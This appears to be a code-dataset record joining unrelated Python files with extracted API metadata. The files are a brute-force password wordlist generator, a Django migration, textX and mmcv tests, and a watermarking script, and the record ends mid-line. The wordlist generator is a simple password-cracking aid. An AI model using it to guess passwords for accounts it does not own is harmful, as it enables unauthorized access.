parser.add_argument("least_chars", help="The minimum amount characters in the password", type=int)
parser.add_argument("most_chars", help="The maximum amount characters in the password", type=int)
parser.add_argument("chars_set", help="The possible types of characters in the password", type=str)
group_VerQuiet = parser.add_mutually_exclusive_group(required=True)
group_VerQuiet.add_argument("-v", "--verbose", help="Produces a verbose output", action="store_true")
group_VerQuiet.add_argument("-q", "--quiet", help="Produces a quiet output", action="store_true")
group_VerQuiet.add_argument("-dq", "--dead_quiet", help="Produces a dead quiet output \
(not recommended as it does not ask for confirmation)", action="store_true")
parser.add_argument("-o", "--output", help="Output result to a file", type=str)
args = parser.parse_args()
if args.verbose and args.output:
parser.error("Verbose and output argument selected at the same time")
return args
def permutations(args, arg_name):
"""Takes all args and then splits it into least, most, chars for use"""
least = args.least_chars
most = args.most_chars
char = args.chars_set
if args.output is str:
output_file = args.output
else:
output_file = False
if arg_name.lower() in ["verbose"]:
if least == most:
print(f"There are {len(char) ** most} possible combinations")
else:
temp, loop_num = 0, 0
for _ in range(least, most + 1):
temp += len(char) ** (least + loop_num)
loop_num += 1
print(f"There are {temp} possible combinations")
del temp, loop_num
confirm = input("Would you like to list all of them? (Y/N): ")
if confirm.lower() in ["y", "yes"]:
for i in range(least, most + 1):
for i in itertools.product(char, repeat=i):
print(i)
elif confirm.lower() in ["n", "no"]:
exit()
elif arg_name.lower() in ["quiet"]:
if least == most:
temp = len(char) ** most
confirm = input(f"{temp} possible combinations (Y/N): ")
else:
temp, loop_num = 0, 0
for _ in range(least, most + 1):
temp += len(char) ** (least + loop_num)
loop_num += 1
confirm = input(f"{temp} possible combinations (Y/N): ")
del loop_num
if confirm.lower() in ["y", "yes"]:
if output_file: #FIXME For some reason even when told to use a different file name it still saves as ample?
with open(output_file, "w+") as f:
for i in range(least, most + 1):
for comb in itertools.product(char, repeat=i):
f.write("".join(comb))
f.write("\n")
#TODO Remember to somehow tell the user that it is x% done.
f.close()
else:
with open("ample_passwds.txt", "w+") as f:
for i in range(least, most + 1):
for comb in itertools.product(char, repeat=i):
f.write("".join(comb))
f.write("\n")
# Here too
f.close()
elif confirm.lower() in ["n", "no"]:
exit()
elif arg_name.lower() in ["dead_quiet"]:
if output_file:
with open(output_file, "w+") as f:
for i in range(least, most + 1):
for comb in itertools.product(char, repeat=i):
f.write("".join(comb))
f.write("\n")
f.close()
exit()
else:
with open("ample_passwds.txt", "w+") as f:
for i in range(least, most + 1):
for comb in itertools.product(char, repeat=i):
f.write("".join(comb))
f.write("\n")
f.close()
exit()
def argument_handler(args):
"""Handles arguments given to it"""
if args.verbose:
permutations(args, "verbose")
elif args.quiet:
permutations(args, "quiet")
elif args.dead_quiet:
permutations(args, "dead_quiet")
if __name__ == "__main__":
args = flags()
argument_handler(args)
| [
"itertools.product",
"argparse.ArgumentParser"
] | [((74, 99), 'argparse.ArgumentParser', 'argparse.ArgumentParser', ([], {}), '()\n', (97, 99), False, 'import argparse\n'), ((2017, 2050), 'itertools.product', 'itertools.product', (['char'], {'repeat': 'i'}), '(char, repeat=i)\n', (2034, 2050), False, 'import itertools\n'), ((2901, 2934), 'itertools.product', 'itertools.product', (['char'], {'repeat': 'i'}), '(char, repeat=i)\n', (2918, 2934), False, 'import itertools\n'), ((3314, 3347), 'itertools.product', 'itertools.product', (['char'], {'repeat': 'i'}), '(char, repeat=i)\n', (3331, 3347), False, 'import itertools\n'), ((3786, 3819), 'itertools.product', 'itertools.product', (['char'], {'repeat': 'i'}), '(char, repeat=i)\n', (3803, 3819), False, 'import itertools\n'), ((4110, 4143), 'itertools.product', 'itertools.product', (['char'], {'repeat': 'i'}), '(char, repeat=i)\n', (4127, 4143), False, 'import itertools\n')] |
# Generated by Django 3.2.5 on 2021-07-31 19:49
from django.db import migrations, models
import django.utils.timezone
class Migration(migrations.Migration):
dependencies = [
('blog', '0001_initial'),
]
operations = [
migrations.CreateModel(
name='Category',
fields=[
('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('title', models.CharField(max_length=200, verbose_name='عنوان دسته بندی')),
('slug', models.SlugField(max_length=100, unique=True, verbose_name='ادرس دسته بندی')),
('Status', models.BooleanField(default=True, verbose_name='ایا نمایش داده شود؟')),
('position', models.IntegerField(verbose_name='پوزیشن')),
],
options={
'verbose_name': 'دسته بندی',
'verbose_name_plural': 'دسته بندی ها',
'ordering': ['position'],
},
),
migrations.AlterModelOptions(
name='article',
options={'verbose_name': 'مقاله', 'verbose_name_plural': 'مقالات'},
),
migrations.AlterField(
model_name='article',
name='description',
field=models.TextField(verbose_name='محتوا'),
),
migrations.AlterField(
model_name='article',
name='publish',
field=models.DateTimeField(default=django.utils.timezone.now, verbose_name='زمان انتشار'),
),
migrations.AlterField(
model_name='article',
name='slug',
field=models.SlugField(max_length=100, unique=True, verbose_name='ادرس مقاله'),
),
migrations.AlterField(
model_name='article',
name='status',
field=models.CharField(choices=[('d', 'پیش نویس'), ('p', 'منتشر شده')], max_length=1, verbose_name='وضعیت'),
),
migrations.AlterField(
model_name='article',
name='thumbnail',
field=models.ImageField(upload_to='images', verbose_name='تصویر مقاله'),
),
migrations.AlterField(
model_name='article',
name='title',
field=models.CharField(max_length=200, verbose_name='عنوان مقاله'),
),
]
| [
"django.db.models.TextField",
"django.db.models.IntegerField",
"django.db.models.BooleanField",
"django.db.migrations.AlterModelOptions",
"django.db.models.ImageField",
"django.db.models.SlugField",
"django.db.models.BigAutoField",
"django.db.models.DateTimeField",
"django.db.models.CharField"
] | [((1053, 1169), 'django.db.migrations.AlterModelOptions', 'migrations.AlterModelOptions', ([], {'name': '"""article"""', 'options': "{'verbose_name': 'مقاله', 'verbose_name_plural': 'مقالات'}"}), "(name='article', options={'verbose_name':\n 'مقاله', 'verbose_name_plural': 'مقالات'})\n", (1081, 1169), False, 'from django.db import migrations, models\n'), ((1324, 1362), 'django.db.models.TextField', 'models.TextField', ([], {'verbose_name': '"""محتوا"""'}), "(verbose_name='محتوا')\n", (1340, 1362), False, 'from django.db import migrations, models\n'), ((1491, 1579), 'django.db.models.DateTimeField', 'models.DateTimeField', ([], {'default': 'django.utils.timezone.now', 'verbose_name': '"""زمان انتشار"""'}), "(default=django.utils.timezone.now, verbose_name=\n 'زمان انتشار')\n", (1511, 1579), False, 'from django.db import migrations, models\n'), ((1700, 1772), 'django.db.models.SlugField', 'models.SlugField', ([], {'max_length': '(100)', 'unique': '(True)', 'verbose_name': '"""ادرس مقاله"""'}), "(max_length=100, unique=True, verbose_name='ادرس مقاله')\n", (1716, 1772), False, 'from django.db import migrations, models\n'), ((1900, 2005), 'django.db.models.CharField', 'models.CharField', ([], {'choices': "[('d', 'پیش نویس'), ('p', 'منتشر شده')]", 'max_length': '(1)', 'verbose_name': '"""وضعیت"""'}), "(choices=[('d', 'پیش نویس'), ('p', 'منتشر شده')],\n max_length=1, verbose_name='وضعیت')\n", (1916, 2005), False, 'from django.db import migrations, models\n'), ((2132, 2197), 'django.db.models.ImageField', 'models.ImageField', ([], {'upload_to': '"""images"""', 'verbose_name': '"""تصویر مقاله"""'}), "(upload_to='images', verbose_name='تصویر مقاله')\n", (2149, 2197), False, 'from django.db import migrations, models\n'), ((2324, 2384), 'django.db.models.CharField', 'models.CharField', ([], {'max_length': '(200)', 'verbose_name': '"""عنوان مقاله"""'}), "(max_length=200, verbose_name='عنوان مقاله')\n", (2340, 2384), False, 'from django.db import migrations, models\n'), ((363, 459), 'django.db.models.BigAutoField', 'models.BigAutoField', ([], {'auto_created': '(True)', 'primary_key': '(True)', 'serialize': '(False)', 'verbose_name': '"""ID"""'}), "(auto_created=True, primary_key=True, serialize=False,\n verbose_name='ID')\n", (382, 459), False, 'from django.db import migrations, models\n'), ((485, 549), 'django.db.models.CharField', 'models.CharField', ([], {'max_length': '(200)', 'verbose_name': '"""عنوان دسته بندی"""'}), "(max_length=200, verbose_name='عنوان دسته بندی')\n", (501, 549), False, 'from django.db import migrations, models\n'), ((578, 654), 'django.db.models.SlugField', 'models.SlugField', ([], {'max_length': '(100)', 'unique': '(True)', 'verbose_name': '"""ادرس دسته بندی"""'}), "(max_length=100, unique=True, verbose_name='ادرس دسته بندی')\n", (594, 654), False, 'from django.db import migrations, models\n'), ((685, 754), 'django.db.models.BooleanField', 'models.BooleanField', ([], {'default': '(True)', 'verbose_name': '"""ایا نمایش داده شود؟"""'}), "(default=True, verbose_name='ایا نمایش داده شود؟')\n", (704, 754), False, 'from django.db import migrations, models\n'), ((787, 829), 'django.db.models.IntegerField', 'models.IntegerField', ([], {'verbose_name': '"""پوزیشن"""'}), "(verbose_name='پوزیشن')\n", (806, 829), False, 'from django.db import migrations, models\n')] |
from __future__ import unicode_literals
import pytest # noqa
import sys
pytestmark = pytest.mark.skipif(sys.version_info[0] < 3,
reason="pyecore is not Python 2 compatible") # noqa
pyecore = pytest.importorskip("pyecore") # noqa
import textx
from textx.metamodel import metamodel_from_str
from textx.export import metamodel_export, model_export
@pytest.fixture(scope="module")
def enable_pyecore_support():
textx.enable_pyecore_support()
yield
textx.enable_pyecore_support(enable=False)
pytestmark = pytest.mark.usefixtures("enable_pyecore_support")
@pytest.mark.skip(reason="object processors are not supported by PyEcore.")
def test_issue_14():
"""
Test object processors in context of match rules with base types.
"""
grammar = """
Program:
'begin'
commands*=Command
'end'
;
Command:
InitialCommand | InteractCommand
;
InitialCommand:
'initial' x=INT ',' y=INT
;
InteractCommand:
'sleep' | INT | FLOAT | BOOL | STRING
;
"""
mm = metamodel_from_str(grammar)
metamodel_export(mm, 'test_issue_14_metamodel.dot')
# Error happens only when there are obj. processors registered
mm.register_obj_processors({'InitialCommand': lambda x: x})
model_str = """
begin
initial 2, 3
sleep
34
4.3
true
"a string"
end
"""
model = mm.model_from_str(model_str)
model_export(model, 'test_issue_14_model.dot')
| [
"textx.export.model_export",
"pytest.mark.skip",
"textx.enable_pyecore_support",
"pytest.importorskip",
"pytest.mark.usefixtures",
"textx.export.metamodel_export",
"pytest.mark.skipif",
"pytest.fixture",
"textx.metamodel.metamodel_from_str"
] | [((86, 179), 'pytest.mark.skipif', 'pytest.mark.skipif', (['(sys.version_info[0] < 3)'], {'reason': '"""pyecore is not Python 2 compatible"""'}), "(sys.version_info[0] < 3, reason=\n 'pyecore is not Python 2 compatible')\n", (104, 179), False, 'import pytest\n'), ((225, 255), 'pytest.importorskip', 'pytest.importorskip', (['"""pyecore"""'], {}), "('pyecore')\n", (244, 255), False, 'import pytest\n'), ((384, 414), 'pytest.fixture', 'pytest.fixture', ([], {'scope': '"""module"""'}), "(scope='module')\n", (398, 414), False, 'import pytest\n'), ((552, 601), 'pytest.mark.usefixtures', 'pytest.mark.usefixtures', (['"""enable_pyecore_support"""'], {}), "('enable_pyecore_support')\n", (575, 601), False, 'import pytest\n'), ((605, 679), 'pytest.mark.skip', 'pytest.mark.skip', ([], {'reason': '"""object processors are not supported by PyEcore."""'}), "(reason='object processors are not supported by PyEcore.')\n", (621, 679), False, 'import pytest\n'), ((449, 479), 'textx.enable_pyecore_support', 'textx.enable_pyecore_support', ([], {}), '()\n', (477, 479), False, 'import textx\n'), ((494, 536), 'textx.enable_pyecore_support', 'textx.enable_pyecore_support', ([], {'enable': '(False)'}), '(enable=False)\n', (522, 536), False, 'import textx\n'), ((1135, 1162), 'textx.metamodel.metamodel_from_str', 'metamodel_from_str', (['grammar'], {}), '(grammar)\n', (1153, 1162), False, 'from textx.metamodel import metamodel_from_str\n'), ((1167, 1218), 'textx.export.metamodel_export', 'metamodel_export', (['mm', '"""test_issue_14_metamodel.dot"""'], {}), "(mm, 'test_issue_14_metamodel.dot')\n", (1183, 1218), False, 'from textx.export import metamodel_export, model_export\n'), ((1565, 1611), 'textx.export.model_export', 'model_export', (['model', '"""test_issue_14_model.dot"""'], {}), "(model, 'test_issue_14_model.dot')\n", (1577, 1611), False, 'from textx.export import metamodel_export, model_export\n')] |
from src.config.appConfig import getJsonConfig
from src.dataFetchers.dataFetcherHandler import linesGenDataFetcherHandler
from src.typeDefs.stateConfig import IStateConfig
from src.repos.measData.measDataRepo import MeasDataRepo
from typing import List
def linesGenService(stateConfigSheet: List[IStateConfig], excelFilePath):
linesGenRecords = linesGenDataFetcherHandler(
stateConfigSheet, excelFilePath)
measDataRepo = MeasDataRepo(getJsonConfig()['appDbConnStr'])
for each in linesGenRecords:
isRawCreationSuccess = measDataRepo.insertGenLinesDailyData(each)
if isRawCreationSuccess:
print("State Daily data insertion SUCCESSFUL for {0}".format(
each[0]['entity_tag']))
else:
print("State Daily data insertion UNSUCCESSFUL for {0}".format(
each[0]['entity_tag']))
| [
"src.dataFetchers.dataFetcherHandler.linesGenDataFetcherHandler",
"src.config.appConfig.getJsonConfig"
] | [((351, 410), 'src.dataFetchers.dataFetcherHandler.linesGenDataFetcherHandler', 'linesGenDataFetcherHandler', (['stateConfigSheet', 'excelFilePath'], {}), '(stateConfigSheet, excelFilePath)\n', (377, 410), False, 'from src.dataFetchers.dataFetcherHandler import linesGenDataFetcherHandler\n'), ((452, 467), 'src.config.appConfig.getJsonConfig', 'getJsonConfig', ([], {}), '()\n', (465, 467), False, 'from src.config.appConfig import getJsonConfig\n')] |
from __future__ import print_function
import os
from shutil import copyfile
from IWat import iw_parser, \
get_image_list, check_or_make_dest_dir, \
is_marked, save_with_meta, \
water_mark_image, reduce_opacity, rotate_image, \
Image
iw_args = iw_parser.parse_args()
ext_list = []
if iw_args.png:
ext_list.append('.png')
if iw_args.jpg:
ext_list.append('.jpg')
ext_list.append('.jpeg')
normal_files = []
if iw_args.file is not None:
files = [iw_args.file]
else:
files, normal_files = get_image_list(iw_args.source_dir, ext_list)
check_or_make_dest_dir(iw_args.dest_dir)
mark_image = Image.open(iw_args.mark_file)
mark_image = reduce_opacity(
mark_image,
iw_args.opacity
)
if iw_args.rotate_angle != 0:
mark_image = rotate_image(mark_image, iw_args.rotate_angle)
for image_file_path in files:
try:
marking_image = Image.open(image_file_path)
if iw_args.copyright is not None:
if is_marked(marking_image, iw_args.copyright):
normal_files.append(image_file_path)
continue
ori_w, ori_h = marking_image.size
if ori_w < 500:
normal_files.append(image_file_path)
continue
marked_image = water_mark_image(marking_image, mark_image)
dest_file_path = image_file_path.replace(iw_args.source_dir,
iw_args.dest_dir)
if not os.path.exists(os.path.dirname(dest_file_path)):
os.makedirs(os.path.dirname(dest_file_path))
if iw_args.copyright is not None:
save_with_meta(marked_image,
dest_file_path,
iw_args.copyright)
else:
marked_image.save(dest_file_path, quality=100)
print("Marked: {fp}".format(fp=image_file_path))
except IOError:
print("Error file (will be copy): {fp}".format(fp=image_file_path))
normal_files.append(image_file_path)
pass
for normal_file_path in normal_files:
try:
dest_file_path = normal_file_path.replace(
iw_args.source_dir,
iw_args.dest_dir
)
if not os.path.exists(os.path.dirname(dest_file_path)):
os.makedirs(os.path.dirname(dest_file_path))
copyfile(normal_file_path, dest_file_path)
print("Copied: {fp}".format(fp=normal_file_path))
except IOError:
print("Error file (no copy): {fp}".format(fp=normal_file_path))
pass
| [
"IWat.get_image_list",
"IWat.reduce_opacity",
"IWat.iw_parser.parse_args",
"IWat.Image.open",
"IWat.rotate_image",
"IWat.is_marked",
"IWat.save_with_meta",
"os.path.dirname",
"shutil.copyfile",
"IWat.water_mark_image",
"IWat.check_or_make_dest_dir"
] | [((261, 283), 'IWat.iw_parser.parse_args', 'iw_parser.parse_args', ([], {}), '()\n', (281, 283), False, 'from IWat import iw_parser, get_image_list, check_or_make_dest_dir, is_marked, save_with_meta, water_mark_image, reduce_opacity, rotate_image, Image\n'), ((572, 612), 'IWat.check_or_make_dest_dir', 'check_or_make_dest_dir', (['iw_args.dest_dir'], {}), '(iw_args.dest_dir)\n', (594, 612), False, 'from IWat import iw_parser, get_image_list, check_or_make_dest_dir, is_marked, save_with_meta, water_mark_image, reduce_opacity, rotate_image, Image\n'), ((627, 656), 'IWat.Image.open', 'Image.open', (['iw_args.mark_file'], {}), '(iw_args.mark_file)\n', (637, 656), False, 'from IWat import iw_parser, get_image_list, check_or_make_dest_dir, is_marked, save_with_meta, water_mark_image, reduce_opacity, rotate_image, Image\n'), ((670, 713), 'IWat.reduce_opacity', 'reduce_opacity', (['mark_image', 'iw_args.opacity'], {}), '(mark_image, iw_args.opacity)\n', (684, 713), False, 'from IWat import iw_parser, get_image_list, check_or_make_dest_dir, is_marked, save_with_meta, water_mark_image, reduce_opacity, rotate_image, Image\n'), ((526, 570), 'IWat.get_image_list', 'get_image_list', (['iw_args.source_dir', 'ext_list'], {}), '(iw_args.source_dir, ext_list)\n', (540, 570), False, 'from IWat import iw_parser, get_image_list, check_or_make_dest_dir, is_marked, save_with_meta, water_mark_image, reduce_opacity, rotate_image, Image\n'), ((772, 818), 'IWat.rotate_image', 'rotate_image', (['mark_image', 'iw_args.rotate_angle'], {}), '(mark_image, iw_args.rotate_angle)\n', (784, 818), False, 'from IWat import iw_parser, get_image_list, check_or_make_dest_dir, is_marked, save_with_meta, water_mark_image, reduce_opacity, rotate_image, Image\n'), ((883, 910), 'IWat.Image.open', 'Image.open', (['image_file_path'], {}), '(image_file_path)\n', (893, 910), False, 'from IWat import iw_parser, get_image_list, check_or_make_dest_dir, is_marked, save_with_meta, water_mark_image, reduce_opacity, rotate_image, Image\n'), ((1250, 1293), 'IWat.water_mark_image', 'water_mark_image', (['marking_image', 'mark_image'], {}), '(marking_image, mark_image)\n', (1266, 1293), False, 'from IWat import iw_parser, get_image_list, check_or_make_dest_dir, is_marked, save_with_meta, water_mark_image, reduce_opacity, rotate_image, Image\n'), ((2308, 2350), 'shutil.copyfile', 'copyfile', (['normal_file_path', 'dest_file_path'], {}), '(normal_file_path, dest_file_path)\n', (2316, 2350), False, 'from shutil import copyfile\n'), ((968, 1011), 'IWat.is_marked', 'is_marked', (['marking_image', 'iw_args.copyright'], {}), '(marking_image, iw_args.copyright)\n', (977, 1011), False, 'from IWat import iw_parser, get_image_list, check_or_make_dest_dir, is_marked, save_with_meta, water_mark_image, reduce_opacity, rotate_image, Image\n'), ((1606, 1669), 'IWat.save_with_meta', 'save_with_meta', (['marked_image', 'dest_file_path', 'iw_args.copyright'], {}), '(marked_image, dest_file_path, iw_args.copyright)\n', (1620, 1669), False, 'from IWat import iw_parser, get_image_list, check_or_make_dest_dir, is_marked, save_with_meta, water_mark_image, reduce_opacity, rotate_image, Image\n'), ((1460, 1491), 'os.path.dirname', 'os.path.dirname', (['dest_file_path'], {}), '(dest_file_path)\n', (1475, 1491), False, 'import os\n'), ((1518, 1549), 'os.path.dirname', 'os.path.dirname', (['dest_file_path'], {}), '(dest_file_path)\n', (1533, 1549), False, 'import os\n'), ((2209, 2240), 'os.path.dirname', 'os.path.dirname', (['dest_file_path'], {}), '(dest_file_path)\n', (2224, 2240), False, 'import os\n'), ((2267, 2298), 'os.path.dirname', 'os.path.dirname', (['dest_file_path'], {}), '(dest_file_path)\n', (2282, 2298), False, 'import os\n')] |
# Copyright (c) OpenMMLab. All rights reserved.
import os
import os.path as osp
import sys
import tempfile
from unittest.mock import MagicMock, patch
import pytest
import mmcv
from mmcv.fileio.file_client import HTTPBackend, PetrelBackend
sys.modules['petrel_client'] = MagicMock()
sys.modules['petrel_client.client'] = MagicMock()
def _test_handler(file_format, test_obj, str_checker, mode='r+'):
# dump to a string
dump_str = mmcv.dump(test_obj, file_format=file_format)
str_checker(dump_str)
# load/dump with filenames from disk
tmp_filename = osp.join(tempfile.gettempdir(), 'mmcv_test_dump')
mmcv.dump(test_obj, tmp_filename, file_format=file_format)
assert osp.isfile(tmp_filename)
load_obj = mmcv.load(tmp_filename, file_format=file_format)
assert load_obj == test_obj
os.remove(tmp_filename)
# load/dump with filename from petrel
method = 'put' if 'b' in mode else 'put_text'
with patch.object(PetrelBackend, method, return_value=None) as mock_method:
filename = 's3://path/of/your/file'
mmcv.dump(test_obj, filename, file_format=file_format)
mock_method.assert_called()
# json load/dump with a file-like object
with tempfile.NamedTemporaryFile(mode, delete=False) as f:
tmp_filename = f.name
mmcv.dump(test_obj, f, file_format=file_format)
assert osp.isfile(tmp_filename)
with open(tmp_filename, mode) as f:
load_obj = mmcv.load(f, file_format=file_format)
assert load_obj == test_obj
os.remove(tmp_filename)
# automatically inference the file format from the given filename
tmp_filename = osp.join(tempfile.gettempdir(),
'mmcv_test_dump.' + file_format)
mmcv.dump(test_obj, tmp_filename)
assert osp.isfile(tmp_filename)
load_obj = mmcv.load(tmp_filename)
assert load_obj == test_obj
os.remove(tmp_filename)
obj_for_test = [{'a': 'abc', 'b': 1}, 2, 'c']
def test_json():
def json_checker(dump_str):
assert dump_str in [
'[{"a": "abc", "b": 1}, 2, "c"]', '[{"b": 1, "a": "abc"}, 2, "c"]'
]
_test_handler('json', obj_for_test, json_checker)
def test_yaml():
def yaml_checker(dump_str):
assert dump_str in [
'- {a: abc, b: 1}\n- 2\n- c\n', '- {b: 1, a: abc}\n- 2\n- c\n',
'- a: abc\n b: 1\n- 2\n- c\n', '- b: 1\n a: abc\n- 2\n- c\n'
]
_test_handler('yaml', obj_for_test, yaml_checker)
def test_pickle():
def pickle_checker(dump_str):
import pickle
assert pickle.loads(dump_str) == obj_for_test
_test_handler('pickle', obj_for_test, pickle_checker, mode='rb+')
def test_exception():
test_obj = [{'a': 'abc', 'b': 1}, 2, 'c']
with pytest.raises(ValueError):
mmcv.dump(test_obj)
with pytest.raises(TypeError):
mmcv.dump(test_obj, 'tmp.txt')
def test_register_handler():
@mmcv.register_handler('txt')
class TxtHandler1(mmcv.BaseFileHandler):
def load_from_fileobj(self, file):
return file.read()
def dump_to_fileobj(self, obj, file):
file.write(str(obj))
def dump_to_str(self, obj, **kwargs):
return str(obj)
@mmcv.register_handler(['txt1', 'txt2'])
class TxtHandler2(mmcv.BaseFileHandler):
def load_from_fileobj(self, file):
return file.read()
def dump_to_fileobj(self, obj, file):
file.write('\n')
file.write(str(obj))
def dump_to_str(self, obj, **kwargs):
return str(obj)
content = mmcv.load(osp.join(osp.dirname(__file__), 'data/filelist.txt'))
assert content == '1.jpg\n2.jpg\n3.jpg\n4.jpg\n5.jpg'
tmp_filename = osp.join(tempfile.gettempdir(), 'mmcv_test.txt2')
mmcv.dump(content, tmp_filename)
with open(tmp_filename, 'r') as f:
written = f.read()
os.remove(tmp_filename)
assert written == '\n' + content
def test_list_from_file():
# get list from disk
filename = osp.join(osp.dirname(__file__), 'data/filelist.txt')
filelist = mmcv.list_from_file(filename)
assert filelist == ['1.jpg', '2.jpg', '3.jpg', '4.jpg', '5.jpg']
filelist = mmcv.list_from_file(filename, prefix='a/')
assert filelist == ['a/1.jpg', 'a/2.jpg', 'a/3.jpg', 'a/4.jpg', 'a/5.jpg']
filelist = mmcv.list_from_file(filename, offset=2)
assert filelist == ['3.jpg', '4.jpg', '5.jpg']
filelist = mmcv.list_from_file(filename, max_num=2)
assert filelist == ['1.jpg', '2.jpg']
filelist = mmcv.list_from_file(filename, offset=3, max_num=3)
assert filelist == ['4.jpg', '5.jpg']
# get list from http
with patch.object(
HTTPBackend, 'get_text', return_value='1.jpg\n2.jpg\n3.jpg'):
filename = 'http://path/of/your/file'
filelist = mmcv.list_from_file(
filename, file_client_args={'backend': 'http'})
assert filelist == ['1.jpg', '2.jpg', '3.jpg']
filelist = mmcv.list_from_file(
filename, file_client_args={'prefix': 'http'})
assert filelist == ['1.jpg', '2.jpg', '3.jpg']
filelist = mmcv.list_from_file(filename)
assert filelist == ['1.jpg', '2.jpg', '3.jpg']
# get list from petrel
with patch.object(
PetrelBackend, 'get_text', return_value='1.jpg\n2.jpg\n3.jpg'):
filename = 's3://path/of/your/file'
filelist = mmcv.list_from_file(
filename, file_client_args={'backend': 'petrel'})
assert filelist == ['1.jpg', '2.jpg', '3.jpg']
filelist = mmcv.list_from_file(
filename, file_client_args={'prefix': 's3'})
assert filelist == ['1.jpg', '2.jpg', '3.jpg']
filelist = mmcv.list_from_file(filename)
assert filelist == ['1.jpg', '2.jpg', '3.jpg']
def test_dict_from_file():
# get dict from disk
filename = osp.join(osp.dirname(__file__), 'data/mapping.txt')
mapping = mmcv.dict_from_file(filename)
assert mapping == {'1': 'cat', '2': ['dog', 'cow'], '3': 'panda'}
mapping = mmcv.dict_from_file(filename, key_type=int)
assert mapping == {1: 'cat', 2: ['dog', 'cow'], 3: 'panda'}
# get dict from http
with patch.object(
HTTPBackend, 'get_text', return_value='1 cat\n2 dog cow\n3 panda'):
filename = 'http://path/of/your/file'
mapping = mmcv.dict_from_file(
filename, file_client_args={'backend': 'http'})
assert mapping == {'1': 'cat', '2': ['dog', 'cow'], '3': 'panda'}
mapping = mmcv.dict_from_file(
filename, file_client_args={'prefix': 'http'})
assert mapping == {'1': 'cat', '2': ['dog', 'cow'], '3': 'panda'}
mapping = mmcv.dict_from_file(filename)
assert mapping == {'1': 'cat', '2': ['dog', 'cow'], '3': 'panda'}
# get dict from petrel
with patch.object(
PetrelBackend, 'get_text',
return_value='1 cat\n2 dog cow\n3 panda'):
filename = 's3://path/of/your/file'
mapping = mmcv.dict_from_file(
filename, file_client_args={'backend': 'petrel'})
assert mapping == {'1': 'cat', '2': ['dog', 'cow'], '3': 'panda'}
mapping = mmcv.dict_from_file(
filename, file_client_args={'prefix': 's3'})
assert mapping == {'1': 'cat', '2': ['dog', 'cow'], '3': 'panda'}
mapping = mmcv.dict_from_file(filename)
assert mapping == {'1': 'cat', '2': ['dog', 'cow'], '3': 'panda'}
| [
"mmcv.register_handler",
"unittest.mock.MagicMock",
"mmcv.dump",
"os.path.isfile",
"mmcv.list_from_file",
"tempfile.NamedTemporaryFile",
"os.path.dirname",
"tempfile.gettempdir",
"pytest.raises",
"unittest.mock.patch.object",
"pickle.loads",
"mmcv.load",
"mmcv.dict_from_file",
"os.remove"
... | [((273, 284), 'unittest.mock.MagicMock', 'MagicMock', ([], {}), '()\n', (282, 284), False, 'from unittest.mock import MagicMock, patch\n'), ((323, 334), 'unittest.mock.MagicMock', 'MagicMock', ([], {}), '()\n', (332, 334), False, 'from unittest.mock import MagicMock, patch\n'), ((441, 485), 'mmcv.dump', 'mmcv.dump', (['test_obj'], {'file_format': 'file_format'}), '(test_obj, file_format=file_format)\n', (450, 485), False, 'import mmcv\n'), ((627, 685), 'mmcv.dump', 'mmcv.dump', (['test_obj', 'tmp_filename'], {'file_format': 'file_format'}), '(test_obj, tmp_filename, file_format=file_format)\n', (636, 685), False, 'import mmcv\n'), ((697, 721), 'os.path.isfile', 'osp.isfile', (['tmp_filename'], {}), '(tmp_filename)\n', (707, 721), True, 'import os.path as osp\n'), ((737, 785), 'mmcv.load', 'mmcv.load', (['tmp_filename'], {'file_format': 'file_format'}), '(tmp_filename, file_format=file_format)\n', (746, 785), False, 'import mmcv\n'), ((822, 845), 'os.remove', 'os.remove', (['tmp_filename'], {}), '(tmp_filename)\n', (831, 845), False, 'import os\n'), ((1364, 1388), 'os.path.isfile', 'osp.isfile', (['tmp_filename'], {}), '(tmp_filename)\n', (1374, 1388), True, 'import os.path as osp\n'), ((1522, 1545), 'os.remove', 'os.remove', (['tmp_filename'], {}), '(tmp_filename)\n', (1531, 1545), False, 'import os\n'), ((1733, 1766), 'mmcv.dump', 'mmcv.dump', (['test_obj', 'tmp_filename'], {}), '(test_obj, tmp_filename)\n', (1742, 1766), False, 'import mmcv\n'), ((1778, 1802), 'os.path.isfile', 'osp.isfile', (['tmp_filename'], {}), '(tmp_filename)\n', (1788, 1802), True, 'import os.path as osp\n'), ((1818, 1841), 'mmcv.load', 'mmcv.load', (['tmp_filename'], {}), '(tmp_filename)\n', (1827, 1841), False, 'import mmcv\n'), ((1878, 1901), 'os.remove', 'os.remove', (['tmp_filename'], {}), '(tmp_filename)\n', (1887, 1901), False, 'import os\n'), ((2922, 2950), 'mmcv.register_handler', 'mmcv.register_handler', (['"""txt"""'], {}), "('txt')\n", (2943, 2950), False, 'import mmcv\n'), ((3232, 3271), 'mmcv.register_handler', 'mmcv.register_handler', (["['txt1', 'txt2']"], {}), "(['txt1', 'txt2'])\n", (3253, 3271), False, 'import mmcv\n'), ((3786, 3818), 'mmcv.dump', 'mmcv.dump', (['content', 'tmp_filename'], {}), '(content, tmp_filename)\n', (3795, 3818), False, 'import mmcv\n'), ((3889, 3912), 'os.remove', 'os.remove', (['tmp_filename'], {}), '(tmp_filename)\n', (3898, 3912), False, 'import os\n'), ((4087, 4116), 'mmcv.list_from_file', 'mmcv.list_from_file', (['filename'], {}), '(filename)\n', (4106, 4116), False, 'import mmcv\n'), ((4201, 4243), 'mmcv.list_from_file', 'mmcv.list_from_file', (['filename'], {'prefix': '"""a/"""'}), "(filename, prefix='a/')\n", (4220, 4243), False, 'import mmcv\n'), ((4338, 4377), 'mmcv.list_from_file', 'mmcv.list_from_file', (['filename'], {'offset': '(2)'}), '(filename, offset=2)\n', (4357, 4377), False, 'import mmcv\n'), ((4444, 4484), 'mmcv.list_from_file', 'mmcv.list_from_file', (['filename'], {'max_num': '(2)'}), '(filename, max_num=2)\n', (4463, 4484), False, 'import mmcv\n'), ((4542, 4592), 'mmcv.list_from_file', 'mmcv.list_from_file', (['filename'], {'offset': '(3)', 'max_num': '(3)'}), '(filename, offset=3, max_num=3)\n', (4561, 4592), False, 'import mmcv\n'), ((5936, 5965), 'mmcv.dict_from_file', 'mmcv.dict_from_file', (['filename'], {}), '(filename)\n', (5955, 5965), False, 'import mmcv\n'), ((6050, 6093), 'mmcv.dict_from_file', 'mmcv.dict_from_file', (['filename'], {'key_type': 'int'}), '(filename, key_type=int)\n', (6069, 6093), False, 'import mmcv\n'), ((582, 603), 'tempfile.gettempdir', 'tempfile.gettempdir', ([], {}), '()\n', (601, 603), False, 'import tempfile\n'), ((948, 1002), 'unittest.mock.patch.object', 